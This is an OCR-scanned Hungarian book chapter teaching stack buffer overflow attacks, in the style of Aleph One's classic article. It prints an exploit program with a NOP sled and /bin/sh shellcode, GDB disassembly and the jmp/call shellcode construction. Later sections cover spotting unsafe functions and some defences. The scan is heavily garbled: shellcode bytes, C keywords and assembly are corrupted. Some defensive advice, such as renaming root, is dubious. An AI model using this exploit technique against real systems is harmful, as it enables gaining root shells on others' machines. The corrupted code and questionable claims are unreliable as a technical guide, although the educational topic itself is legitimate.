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11 Buffer-Overflow

1996-ban az AlephOne Bugtraq levelez6kor moderatora cikket kozolt
Smashing the Stack for Fun and Profit cimen. Ebben leirta, hogyan vezethet
a rossz programozas biztonsagi résekhez, amelyeket aztan puffer-tiilcsor-
dulasos, vagyis Buffer-Overflow tdmadasokhoz lehet felhaszndlni.

A Buffer-Overflow-rohamokat arra hasznaljak, hogy tamadédsokat hajt-
sanak végre szerverek ellen. Ezzel egymasra épiil§ célokat lehet elérni: pl.
egy bizonyos szolgaltatast 6sszeomlasra kényszeriteni, hogy késébb specia-
lis jogokat szerezzenek a szerverhez. Ezt ugy csindljak, hogy megoroklik a
megszakitott szolgdltatdsjogait. Egyes esetekben ez akar a boot-jogokig ter-
jedhet, amelyekkel az egész szamitégép felett ellendrzést szereznek. De ar-
ra is lehet haszndlni ezeket a tamaddsokat, hogy kidontsenek egy weboldalt.

A legérdekesebb ezekben a tdmadasokban a Buffer-Overflow-rohamok
fliggetlensége a tamado székhelyétdl. igy végre lehet hajtani fizikai hozzd-
féréssel a szerverhez, de tavoli eléréssel is.

11.1 Az operaciés rendszer memoriakezelése

Az aldbbi vazlat egy opericids rendszer memoriafelépitését szemlélteti.

Als6 memoria
SZOVEG
inicializalt adatok
inicializalatlan adatok
Fels6 memoria STACK

Memoriafelépités

11.1.1 Szoveg

Egy adott programhoz rendelt memériatartomany tobb részre oszlik. Az
alsé memdoridban illetve a szovegrészben csak karakterlancok vannak tarolva,
példaul a Stugo szovege, amelyet egy program kiad. Ezeket a karakterldnco-
kat az operaciés rendszer ,readonly”-ként kezeli, vagyis ezeken nem lehet
valtoztatni. Mas elérések ,,segmentation fault" hibaval végzédnek.

11.1.2 Adatok

Az adatrész inicializalt és inicializdlatlan adatokra oszthatd, amelyek
,,Static”™-ként deklardlédnak. Ennek a hozzdrendelt teriiletnek a méretét a
,brk" paranccsal lehet megkapni.

11.1.3 A stack (magyarul: halom/rakas)

A stacket elképzelhetjiik tigy, mint egymasra halmozott lapokat, ahol leg-
feliill van a 10. szdmu és legalul az 1. szamu lap. A stack az a memoriatertilet,
amelyben a normal véltozok adatai taldlhatok. A stack LIFO-elven (last in,

first out) mukodik, ellentétben a FIFO-elvvel (first in, first out), mint
amilyennel példaul a pipe-ndl taldlkozhatunk. Ez azt jelenti, hogy az ele-
mek, amelyek legfeliil helyezkednek el (tehat utoljara keriiltek oda), els6-
ként keriilnek ki. A stack szerkesztésének legfontosabb assembler parancsai
a PUSH (adatokat tesz a stackhez) és a POP (olvassa a stack legfels§ elemét).

A cimek, amelyekre egy program futdsa ugrik, ha egy eljards vagy fiigg-
vény lefutott, szintén a stackben tdrolddnak (példaul a szegmensek kezdd
cimei.) Errél azonban késébb.

11.2ABuffer-Overflow-tamadasok

A Buffer-Owerflow tulajdonképpen annyit jelent, hogy tobbet irnak a
pufferbe, mint amennyit az fel tud dolgozni.

Azokat az adatokat, amelyek mar nem férnek be a pufferba, ahelyett,
hogy eldobni a program, megprébalja beleirni. Ennek kovetkeztében az



adatmennyiség kildg a pufferbdl egy olyan teriiletre, amely mar nem ehhez
a pufferhez, hanem mas valtozokhoz tartozik. Ekozben az adatok mindent
feliilirnak, amit ott taldlnak, csak hogy megszerezzék a nekik sziikséges he-
lyet. Ez természetesen hibdkat eredményez, és végiil a program hibds m-
kodését, a tulajdonképpeni Buffer-Overflow-t.

Egy példa az ilyen kédra:

voidman() {
//a ToGreat valtozot 256 béjttal inicializalja
char ToGreat[256]

//ciklusvaltozo

int i;

//egy ciklus, amely A-kkal tolti ki a memoriateriiletet
Jor(i=0;i<255;i++)

large_string[i] = A';

OverFlow (To Great)

/

//Most jon a fiiggvény, amely a tulajdonképpeni hibat okozza
void Overflow(char *string)

//A puffer kisebb, mint a ToGreat valtozo, amit dtadtak
charTolittle[ 16]

//megprébalja 256 bajttal teleirni a puffért, holott csak 16 bdjtra
volna lehet8ség,

//ezért az utana elhelyezkedd tertilet feliilirédik

strepy(ToLittle, string);

11.2.1 Hogyan lehet ezt kihasznalni?

Ha a tamadé Buffer-Overflow-val akar lefagyasztani egy programot, ak-
kor csak annyit kell tennie, hogy addig ir a pufferba, amig az megtelik, és

végiil ratesz még egy lapattal. A biztos eredmény: memdoriavédelmi hiba és
a program Osszeomlasa.

Ha a tdmado kapcsolatot épit fel a hosttal, és egy hosszu karakterlancot
kiild egy meghatarozott programnak, az lefagy. Azonban bizonyos bevite-
lekkel még végre lehet hajtatni egy kddot az instabil rendszeren. Itt a tama-
dok kilonosen abban érdekeltek, hogy egy shellt (parancssort) nyissanak
root-jogokkal a rendszeren. Sok, ugynevezett kizsdkmdnyolo (exploit) kod
van, amelyek arra valék, hogy egy Buffer-Overflow segitségével ,,megoro-
koljenek" egy root-jogokkal rendelkezd shellt.

Ezzel at lehet venni az ellenSrzést a szamitdgép felett.

Talan felmertl a kérdés, hogy miért kell egydltaldn root-jogokkal futniuk a
programoknak. Ennek a kovetkezS a hattere: egyes funkcidk, mint a raw
sockets vagy bizonyos rendszereréforrasok elérése, példaul az 1024 alatti
portoké vagy eszkozoké, root-jogokat kovetel meg. A ping egy j6 példa az
olyan programra, ami root-jogokkal fut, de minden felhasznalé elindithat-
ja. Ez egy SUID bitet helyez el, ami azt jelenti, hogy a program a tulajdonos
és nem a felhaszndlé jogaival fut. Ez f6leg a SUID-programoknal érdekes,
amelyek a roothoz tartoznak. Vildgos, hogy egy ilyen program biztonsagi
kockdazatot jelenthet, hiszen rootként futé eljarasok csak olyanok lehetnek,
amelyek mar bootoldskor elindulnak. Ha minden felhaszndlé root-jogokkal
tud programokat futtatni, természetesen megnd a lehetséges hibaforrasok
szama.

11.2.2 Hogyan miikodik?

Shell-kod alatt olyan assembler-kodot értiink, amely arra kényszeriti a
programot, hogy egy shellt hozzon 1étre. A shell-kod értelme és célja, hogy
ez fusson a féprogram helyett, amikor a program egy eljardsbol vagy fiigg-
vénybdl visszatér.

A tovabbiak megértéséhez alapos assembler- és Shellscript-ismeretekre
van sziikség - kiilonben nem fog menni. A kivitelezéshez sziikséges progra-
mok (GCC=GNU C Compiler, GDB=GNU Debugger) futtatdsahoz még
Linux is kell. Forraskédokkal mutatjuk meg, hogyan nem irédnak feliil va-
logatds nélkiili tetszSleges programrészek, s hogyan lehet célzottan meg-
valtoztatni a fiiggvény visszatérési pontjanak a cimét.



Magyarazatképpen egy forraskod:

exploit3.c

#include

#define DEFAULT OFFSET 0
#DEFAULT BUFFER _SIZE 512
#defineNOP 0x90

Olyan fogalmakkal lehet dolgozni, mint a ,, DEFAULT OFFSET", hogy
a kéd, azaltal, hogy kevesebb szamot hasznalunk, olvashatobba valjon. Fon-
tos még megemliteni, hogy a NOP-kdd csak a Ox90-es Intel CPU-kon fut.

charshettcode[ | =
"\xeb \x If\x5e\x8§9\x 76 \x08\x3 1 \xc 0\x 88 \x46 \x07\xE89\x46 \xOc\
xbO\x0b"
" E\xf3\x8d \x4e \x08\x8d \x 56 \xOc \xcd \x80\x3 I\xdb\x89\xd §\
x40\xcd"
"\x80\xe&\xdc \xff\xff\xff\bin/sh";
A Shellcode valtozohoz egy értéket rendeliink, a Shellcode csak a
,,bin/sh", a tobbi assembler.
unsigned long get sp(void) {
asm("movl%esp, %eax");
}

A, get_sp" valtozd feltoltése assembler-koddal}
mid main(int arge, dhar *argv[]){
char *buf, ‘*ptr;
long *addr:ptr, addr;
int  offset=DEFAULT OFFSET,  bsizz=DEFAULT BUFFER_SIZF;
int i;
Avaltozdkhoz értéket rendel
if(arge > 1) bsize = atoi(argv[1]);
if (arge > 2) offset = atoi(argv[2]);
if ({(buff=malloc(bsize))) {
printf("Can't allocate memory. \n");
exit(0);

addr = get _sp( ) - offset;
Az ,, Offset" értéke 0
printf("Using address: Ox%x\n", addr);
Kiirja a ,,Using address: 0x%x\n" -t és az ,,addr" értékét.
pr = buff;
A, ptr'" megfelel a ,,bufF'-nak
addr_ptr = (long *) ptr;
Pointer a ptr cimére
Jor (i=0; i< bsize; i+=4)
*(addr_ptr++) = addr;
Pointer az ,,addr-ptr" helyére, mert az addr-ptr cimét minden ciklusle-
futassal noveljiik, a pointer minden alkalommal egy bajttal tovabb mutat.
Jor (i =0; i < bsize/2; it+)
buffii = NOP;
A NOP-koédokat a pufferméret feléig irjuk a memoridba.
ptr = bufft+ ((bsize/2) - (strlen(shellcode)/2));
Jor(i = 0; i <strlen(shellcode); i++)
*(ptr++) = shellcode/i];

Beirjuk a shellkddokat a memariaba.
bufffbsize  -1]= \0"
Most elhelyezziik az endbyte-ot.

memcpy(buff;"EGG=",4);
putenv(buff);
system("/bin/bash ");

}

Ez a kéd még nincs kész, mert még nem ismerjiik a shellkéd helyét a
memoridban. Ezért nagyon pontosan meg kell becsilni, hogy eltaldljuk a
megfelelSt. Természetesen a tamadok tobb NOP-kédot is beépitenek. Egy

valédi exploitndl ez tobbnyire tobb mint 100 - 1000 NOP kéd, hogy no-
veljék a talalat esélyeit.



11.2.3 Minek kell a Shellcode valtozéonal alinia?

Most mar mindenképpen segitségiil kell hivni egy GDB-t!

shellcode.c
#include

voidmain() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NLL);
}

Hogy megnézziik, hogyan néz ki a forraskdd assemblerben, elinditjuk,

és GDB-vel elemezzik. Ehhez el6szor a GCC-vel kell compilerelni a
programot. A parancs igy néz ki:

gec -o shellcode -ggdb -static shellcode.c

Most elinditjuk a GDB-t:
gdbshellcode

A GDB ingyenes szoftver, és masolatot is lehet rola késziteni!

(gdb) disassemble main

Dump of assembler code for function main:
0x8000130: pushl  %ebp

Ox8000131: movl  Y%esp, %ebp
0x8000133: subl  $0x8, %esp
0x8000136: movl SO80027b8, O %eebp)
0x800013d: movl SO0, Offffffe(%ebp)
Ox8000144: pushl  30x0

Ox8000146 leal O Yeehp), Y%eeax:
Ox8000149: pushl  %eax

Ox800014a: movl  OxfffiifS( %ebp), %eax
0x800014d: pushl  %eax

Ox800014e: call 0x8002bc <__execve>
0x8000153: addl  $0xc, %esp
0x8000156: movl  %ebp, %esp

Ox8000158: popl
Ox8000159: ret
End ofassembler dump.
(gdb) disassemble _ execve

%ebp

Dump of assembler code for function __execve:

Ox80002bc <__execve>:
Ox80002bd <__execve+i>:
Ox80002bf<__execve+3>:
Ox80002c0 <__execve+4>:
Ox80002c5 <__execve+9>:
0x80002c8 <__execve+12>:
O0x80002ch <__execve+15>:
Ox80002ce<__execve+18>:
Ox80002d0<__execve+20>:
0x80002d2 <__execve+22>:

pushl  %ebp

movl  %esp, %ebp
pushl  %ebx

movl  $0xb, %eax
movl Ox8(%ebp), Joebx
movl Oxc(%ebp), %ecx
movl 0x10(%ebp), %edx
int $0x80

movl  %eax, %edx
movl  %edx, %edx

Ox80002d4 < __execve+24>: jnl 0x80002e6 <_execve+42>

0x80002d6 <__execve+26>:

Ox80002d8 <__execve+28>:

0x80002d9 <__execve+29>:
O0x80002de <__execve+34>:
0x80002df <__execve+35>:
0x80002¢ 1 <__execve+37>:
0x80002e6 <__execve+42>:
Ox80002e7 <__execve+43>:
Ox80002e9 <__ execve+45>:
O0x80002ea <__execve+46>:
O0x80002eb <__execve+47>:
End ofassembler dump.

negl  %edx
pushl  %edx
call 0x80001a34<__normal_ermo_location>
popl  %edx
movl  %edx,(%eax)
movl Soxfitife, %oeax

popl  %ebx

movl  %ebp, %esp
popl  %ebp

ret

nop

Hogy ezt megértsiik, el§szor a ,,main"-t analizaljuk:

Ox8000130: pushl
Ox8000131: mov!
Ox8000133: subl

%ebp
%esp, Yoebp
S0x8, %esp

Ez volt az eljaras kezdete. A régi frame-pointert mentjuk, és egy Uj
frame-pointert allitunk el§, amely szabad helyet készit a helyi valtozoknak.

Ebben az esetben:



char *name[2];
Ox8000136: movl S8002768, O Y%eebp)

A 0x80027b8 értéket (a ,/bin/sh" cime) bemadsoljuk az els§ pointer of
name| | -be. Ez ugyanazt jelenti mint:

name[0]="/bin/sh";

0x800013d: movl SO0, Qflfifffe(%eebp)

A 0x0 (NULL) értéket a masodik pointer of name[ | -be masoljuk. Ez

ugyanazt jelenti mint:
name[1]=NULL;

Az execve( ) meghivasa itt kezd&dik.
Ox8000144: pushl  $0x0

Az execve( ) argumentumait forditott sorrendben helyezziik (push) a
stackbe. NULL-aval kezdiink.

0x8000146: leal OIS Yeebp), Yoecx
Betoltjiikk a name[ | cimét az EAX regiszterbe.
Ox8000149: pushl  %eax

Beirjuk aname[ ] cimét a stackbe.

0x&800014a: movl QIR %eebp), Yeec
Betoltjiik a "/bin/sh" sztring cimét az EAX regiszterbe.
0x800014d: pushl %eax

Beirjuk a stackbe a "/bin/sh" sztring cimét.

0x800014e: call 0x8002bc < _execve>

Az execve( ) library eljards meghivasa. Beirja az instruction pointert a
stackbe.

Most execve( ). Minden folyamat az operacios rendszertdl fligg.

O0x80002bc <__execve>: pushl  %ebp
Ox80002bd <__execve+1>: movi  %esp, %ebp
Ox80002bf < __execve+3>: pushl  %ebx

Az eljaras kezdete

O0x80002c0 <__execve+4>: movl $0xb,%eax

A 0xb-t a stackbe masoljuk. Ez az index a syscall-tablaban. 11 az execve.
Ox80002c5 <__execvet+9>: movl Ox8(%ebp), %ebx

A "/bin/sh" cimét bemasoljuk az EBX-be.

Ox80002c8 <__execve+12>: movi  Oxc(%ebp), %oecx

Aname| ] cimét bemasoljuk az ECX-be.

Ox80002ch < __execve+15>: movl  Ox10(%ebp), %edx

A Null pointer cimét az EDX-be madsoljuk.

Ox80002ce <__execve+18>: int S0x80

Kernel médra valtunk.

Tulajdonképpen ez minden az execve( ) meghivasarél. De mi torténik,
ha félresikertil?

A program végeérhetetlentiil tovabb hoznd az értékeket a stackbdl, ame-
lyek azutan mas értékeket tartalmazhatnanak. Nem valami finom dolog. A
tdmadé egy ilyen programot természetesen megprobal tisztdn programoz-
ni. Ezt Ugy tudja elérni, hogy hozzafliz egy exitsyscall-t:

exit.c

#include

voidmain() {
exit(0);

/

gcce -0 exit -static exit.c
gdb exit

(no debugging symbols found)...
(gdb) disassemble exit

Dump of assembler code for function _exit:
Ox800034c <_exit>: pushl  %ebp
Ox800034d <_exit+1>: movl  %esp, %ebp



0x800034f <_exit+3>: pushl  %ebx

Ox8000350 <_exit+4>: movl  $01,%eax
Ox8000355 <_exit+9>: movl  Ox8(%ebp), %ebx
Ox8000358 <_exit+12>: int $0+80

O0x800035a <_exit+14>: movl O Yeebp), Yeebr

Ox800035d <_exit+II>: movl  %ebp, %esp
Ox800035f <_exit+19>: popl %ebp
Ox8000360 <_exit+20>: ret

Ox8000361 <_exit+21>: nop

Ox8000362 <_exit+22>: nop

Ox8000363 <_exit+23>: nop

End ofassembler dump.
Az Exit syscall-t a Oxl-re helyezziik az EAX-ben, ez az exit kdd, és ez-

utan kell végrehajtani az ,,int 0x80"-at. A legtobb program 0-t ad vissza, ha
nem volt hiba.

Osszeflizve ez a kovetkezSképpen néz ki:

Elhelyezziik a sztringet a kod mogott, természetesen a sztring cimét és

az endbyte nullat a tomb mogé tessziik.

movl string_addr,string_addr_addr
movb SO0x0,null_byte addr
movl $0x0,null_addr
movl! $0xb, %eax

movl string_addr, %ebx
leal string_addr, %ecx
leal null_string, %edx
int $0x80

movl Sox1, %eax

movl $0x0, %ebx

int $0x80

/bin/sh string goes here.

Mivel soha nem tudjuk pontosan, hogy pontosan hova keriil a memoria-

ban az exploit kédunk, konnyitésképpen bizonyos parancsokat lehet hasz-
nalni. Jump-pal és Call-lal olyan parancsokat lehet hasznalni, amelyekkel
relativ cimeket kapunk. Ha a ,/bin/sh" sztring elé egy Call parancsot te-

szink, és a Call parancshoz egy Jump parancsot, a sztringcim lesz visszaté-
rési cimként megadva, mikor a hivas lefutott. Most mar csak annyit kell
tenni, hogy a visszatérési cimet bemasoljuk a regiszterbe.

Al itt aJump, és a C a Call helyett all. A programfutas a kovetkezSkép-

pen néz ki:

bottom of DDDDDDDDEEEEEEEEEEEE EEE FFF FFF FFF FFF top of
memory 89ABCDEF(0123456789AB ' CDEF 0123 4567 89AB CDEF memory

buffer sfp ret a b c
<= ===~ = [JJSSSSSSSSSSSSSSCCSS]{ssssg[OxD81{0x021[0x03]
I\I/\ /\I l
[ [ (1)
2y || [

! . [ (3) ' ' '
top of ‘ ‘ bottom
of ‘
stack

stack
A programkod a médositasokat kovetSen

jmp offset-to-call # 2 bytes
popl %esi . # 1 byte
movl %esl array-offset(%esi) # 3  bytes
movb S$0x0,nullbyteoffset( %esi) # 4 bytes

movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb, %eax # 5 bytes
movl %esi, Joebx # 2 bytes
leal array-offset, (%esi), %ecx # 3 bytes
leal null-offiet(%esi), %edx # 3 bytes
int S0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int S0x80 # 2 bytes
call offset-to-popl # 5 bytes

/bin/sh string goes here.



Ha az offseteket Jump-rél Call-ra, Call-rél Popl-ra, a sztringcimrél
tombre és a sztringcimet nullara szdmoljuk at, ezt kapjuk:

Jjmp Ox26 # 2 bytes
popl %esi # 1 byte
Jnovl %esi, O0x8( %esi) # 3bytes
movb 30x0,0x7( %esi) # 4 bytes
movl $0x0,0xc(%esi) # [ bytes
movl $0xb, %eax # 5 bytes
movl %esi, %ebx # 2 bytes
leal 0x8(%esi), %ecx # 3 bytes
leal Oxc(%esi), %edx # 3 bytes
int $0x80 # 2 bytes
movl S0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call Ox2b #5 bytes
string \"/bin/sh\" #8 bytes

Hogy kideriiljon, mtikodik-e a kod, el6szor a compilerrel leforditjuk, és
azutan teszteljilk. De van egy probléma! Ez a kdéd sajatosan valtozik. Sok
operacids rendszer ezt megint csak nem engedi meg. Ezért a kddot, ame-
lyet futtatunk, egy fajlszegmensbe vagy stackbe kell csomagolni, és ezutan
a transzferkontrollt kell hasznélni. Hogy ezt elérjiik, a kddot egy globalis
tombbe helyezziik a fajlszegmensben. ElSszOr azonban a bindris kod hex-
megjelenitéséhez kell jutnunk.

Ha ez kész, akkor lehet mindent compilerelni, és ismét a GDB-t hasz-
nalni.

11.3 Aldozat a Buffer-Overflow-kért

Ezekhez a tAimadasokhoz tehat egy pufferra van sziikség, amelyhez a vé-
ge utdn is hozza tudunk irni, ami természetesen egy fatdlis programozasi
hiba. A hiba azonban tobbnyire nem a programozon muilik, neki elég né-
hany konyvtarfunkciot hasznalnia, és maris jelentkeznek ezek a problémak.
Akonyvtarfiggvények tartalmazta parancsok,agets(), asprintf(),avprintf(),
astrecat(),astrcpy( ) ésascanf( ) nem figyelnek arra, mekkora a rendelkezésre

allo puffer. A parancsok egyszertien egy null-karakterig (\0) olvasnak, egy
null-termindldssal megjelolt program végéig. A sztring azonban lehet tul
hosszt, és a \0 jéval a puffer vége utan is elhelyezkedhet. Az ilyen funkcio-
kat a forraskdodban a legegyszerlibb megkeresni, ami pl. Linux-
programoknal szabadon hozzaférhetd. A masik eljards arra, hogy egy puf-
fért bevitelekkel megtoltsiink, egy ciklus, amely elolvas és a pufferbe ir
egyes karaktereket.

Mik azok a Heap-based Overflow-k?

Heap-based Overflow-kat sokkal nehezebb eléallitani, mint a Stack
Overflow-kat, ezért ritkabban is taldlkozni az elébbiekkel, s a programozok
sem nagyon védik ettSl a programjaikat. Hozzaérté hackereknek tehat ez
egy egészen kiilonleges tamaddasi pont! A gond az, hogy soha nem statikus
puffereket, hanem helyette malloc( ) -ot haszndlnak. A programozok ugy
gondoljak, ezzel minden veszélytdl védve vannak. Ez persze véd a Stack
Overflow-ktél, de nem a Heap-based Overflow-ktél. Lényegében a dina-
mikus hozzarendelés sem sokkal biztonsagosabb.

11.4 Honnan lehet felismerni a Buffer-Overflow-t?

Szerencsére sok lehetdség van a Buffer-Overflow-k felismerésére, ami
attol fiigg, hogy mi 4all hozza a rendelkezésiinkre. Ha olyan programrdl van
sz6, amelynek megvan a forraskodja, akkor nincs gond. Itt szisztematikusan
ellendrizni kell a paraméter-ataddsokat és az egyes funkcidkat (a DLL-eket
¢s a library-ket), az ismert bizonytalansagi faktorokra.

Ha nincs ilyen lehet8ség (nincs meg a forrdskdd), a user interfészen ke-
resztiil lehet varatlan bevitelekkel tesztelni a programot. Ilyenkor tobbnyi-
re a sztringhosszusagot figyeljiik az dtadasi pontokon, és hibdkat keresiink.
Ha egy bevitel ellendrzés nélkiil, kozvetlentil a Strepy-val keriil hasznélatba,
logikus, hogy tul lehet tolteni a puffért.

ime, egy kis példa:

void tulcsordul(char argvFG)

char BuffertoLittle [4];



if (strlen(argv) > 7)
{
cout« "Rossz: a puffer til fog csordulni\n";

}

eke

cout « "Bevitel OK, hajtsd végre\n";
strcpy(BuffertoLittle,  argv);

/

/* Helyes: ahogy afelsd részben, ugy kell ezt */
/* csindlni, eldszor ellendrizni, és utdna végrehajtani vagy */
/* mindjdrt biztonsdgosfiiggvényeket haszndlni */

strepy(BuffertoLittel,  argv);
/*Rossz: Ha arge[ | til nagy, ,,PZK" tulfut */

int main(int arge, char *argv[ ]) {
cout« "Az dtadandd paraméter hossza:"
« strlen (argvF1G)
< "\n"

tulcsordul(argv[ 1)),
/

A demonstralashoz egyszertien le kellene forditani ezt a programot, és a
kovetkezSképpen elinditani: ,, Név 052698541".

Itt az atadandé paraméternek olyan a hossza, hogy az 6sszedonti a prog-
ramot, mert a beirds hosszabb volt, mint azt a programozd varta.

Itt nem a forrdskdd a fontos, hanem egy manualisan elGidézett Buffer-
Overflow demonstraldsa. Megmutatja, hogyan lehet paraméterekkel és mas
atadasokkal (ezek mas helyeken is torténhetnek) szandékosan lefagyasztani
programokat, vagyis manualisan, bevitelekkel tesztelni a Buffer-Overflow
lehetSségeket.

Ha egy kifelé nyitott haldzati szolgaltatérdl van sz, amelynél a paran-
csokat és a szintaxist is meg lehet tudni, akkor a Nefcattel egyenként lehet
ellendrizni a parancsokat a Buffer-Overflow-ra. Ahogy az elébbiekben, itt
is szdndékosan tul hosszu beviteleket kell csindlni, vagy varatlan karakte-
rekkel feltolteni, és a reakcidra varni.

Természetesen mas modszerek is vannak. Egy programot lehet pl.
disassemblalni, és részletrdl részletre atvizsgalni.

Honnan ismeriink fel egy Buffer-Overflow-tamadast?

A Buffer-Overflow-tamadasokat nagyon nehéz felfedezni. A felderités
egyik lehet8sége lenne a szerver lekapcsolasa, mielStt a hacker torolhetné a
nyomait a logfajlokbél. Ha ez megtorténik, a tAmadd tobbé nem tud mit
kezdeni ezzel a szamitégéppel. Ez akkor segithet, ha egyszer mar meglep-
tek. igy madr a haldzat feliigyeletével is fel lehet ismerni, honnan jonnek az
adatok.

11.5 Milyen védelmi mechanizmusok vannak?

Tulajdonképpen csak egy Linux-verzid, a Secure LINUXés a Solaris 2.6+
védenek, illetve védhetnek bizonyos mértékig e tdmaddasok ellen. A Solaris
2.6+ ndl a ,,normal" telepités utan aktivalni lehet egy kapcsoldt, ami meg-
akaddlyozza, hogy a ,heap"-ben és a ,stack"-ben programok futhassanak
(noexec_user _stack, noexec_user_heap).

Ezaltal a Solarissal kapott programok, ha a felhasznaldi privilégiumokat
nem hasznaljak ki tulsadgosan, nincsenek veszélyben. A Secure LINUX-nal
egy patch-re van sziikség ehhez. A standard kernelt kell megvaltoztatni, és
egy specialis compilerrel minden programot tjra kell forditani.

A hacker célja mindig az, hogy egy rootshell-hez jusson egy masik
Linux-gépen. Ezt inditja el az exploifon keresztiil is. De felhasznaloként
vagy rendszergazdaként megvan még az a lehet8ségiink is, hogy a shell-
neveket és az /etc/passwd-fdjlt megfelelden megvdltoztassuk. [gy a fenti példa
szerinti Buffer-Overflow természetesen nem sikertilhet. A névadasi kény-
szer miatt ez a variacié szinte mindig sikeres. Kiilondsen, ha minden prog-
ram forraskddja megvan, és az egész Linuxot kompletten 4t lehet irni, pl. a
,,foot"-ot lehet egyszertien igy nevezni: ,,HAHA".

Ezért érvényes a régi szabdly: ,,Minél jobban eltérsz a szabvanyositott
megnevezésektSl, anndl nehezebb lesz a tamadas."



11.5.1 Osszefiiggés
a CPU és a Buffer-Overflow kozott

Manapsag sok szervert miikodtetnek a kereskedelemben nem szokdsos
CPU-kkal. Eziltal a timadot vissza lehet forditani az assembler-kéd ira-
nyaba, és csokken annak a kockdzata, hogy egy készre forditott exploit jele-
nik meg az interneten. Igy a tapasztalatlan timaddknak aligha van esélyiik.

11.5.2 A Buffer-Overflow-k és a tiizfalak

Egy tlizfallal természetesen csokkenteni lehet a Buffer-Overfiow-
tamadasok lehetGségét. Teljes biztonsdgban azonban sohasem érezhetjiik ma-
gunkat.

A tlizfal megneheziti a kiilsg, illetve a belsé interfészek megtamadasat.
Mivel a tlizfalak szinte mindig viszonylag kicsik, nem fognak benniik kiin-
dulasi pontot talalni Buffer-Overflow-khoz. Konfliktusok abbdl adddhat-
nak, ha a szervernek még mads feladatokat is el kell latnia, pl. e-mail
gateway, router, proxy, HTTP-szerver vagy adatbazis szerverként miiko-
dik. Ezek nagy biztonsagi kockazatot jelentenek.



